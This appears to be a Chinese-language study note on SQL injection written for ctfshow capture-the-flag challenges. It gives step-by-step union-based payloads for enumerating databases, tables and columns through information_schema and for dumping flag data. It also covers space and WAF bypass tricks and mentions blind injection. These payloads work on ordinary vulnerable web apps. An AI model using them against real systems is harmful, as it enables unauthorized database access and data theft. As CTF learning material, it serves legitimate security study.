sql注入学习1
第一步:判断注入类型
- 数字型: 使用 1 and 1=2和1 and 1=1来判断(如果没报错,那就不是数字型注入)
- 字符型: 试试可能的闭合符 ‘ “ ‘) “)
第二步: 联合查询前写入语句
- 可能的闭合符 ‘ “ ‘) “)
- 不需要的语句可以用注释符号 –+ # %23 –%0c注释掉
- 使用group by 或者Order by 确定数据列数量:id=-2’group by 4–+
- 查找回显位:使你提交的结果能够在页面上给你体现出来 使用语句?id=-2’union select 1,2,3–+(回显的内容的数字就可以知道是哪个位置了)
第三步: 查询库 表 列
- 查找当前库名:?id=-2’union select 1,2,database()–+ (三号位就是苦库的名)
- 查找当前库下所有的表名:id=-2’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+(这段话用于在总表information_schema中查找database()的库所对应的table_name,也就是显示这个库中所有的表名。而group_concat则可以把这些表拼接起来)
- 查找所有表(可能会有一堆乱七八糟的东西):?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables–+
- 查看名为flag的表所在的库名:?id=-1’ union select 1,2,table_schema from information_schema.columns where table_name=”flag”–+
- 查找当前库列名:id=-2’union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() –+(原理几乎同上)(另外写法:?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns ctfshow –+ ) 这里可以进行替换就能查找指定库的列名
- 查找名为ctfshow的库下的flag表的列:?id=-1’ union select 1,id,flag from ctfshow.flag–+
第四步:查询数据库
- -2’union select * from ctfshow_web.ctfshow_user where username = ‘flag’ –+ (在名为ctfshow_web的库里找到名为ctfshow_user的表,并且从中寻找列名username的值为flag的数据)
特别的绕过方式
- replace(username,’f’,’g’),使用改名使得flag绕过preg_match(只能对返回值过滤进行绕过)
- 空格绕过: %0a %0d %0c /**/ + `
- 换行绕过空格: %0b(用于空格绕过都不成功的情况)
一些更简洁的可以参考的playload
- 1’%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0actfshow_user%23
- -1’%0cor%0cusername=’flag
waf绕过
- 大小写
- 模糊搜索:在where处这样写 where pass like’%c%’(意思是在pass列中模糊搜索c开头的数据,其中的%可用%25替代)
基于原题下手的绕过
$sql = “select id,username,password from ctfshow_user where username !=’flag’ and id = ‘”.$_GET[‘id’].”’ limit 1;”;
- 这段代码我们可以利用拼接来进行绕过
-
管道符-1’ username=’flag -
管道符-1’ (username)like’%fla%
布尔盲注:看脚本(用到where和select)
regexp盲注:看脚本(where和select被过滤了可以用group by pass having pass regexp)
ctfshow-web184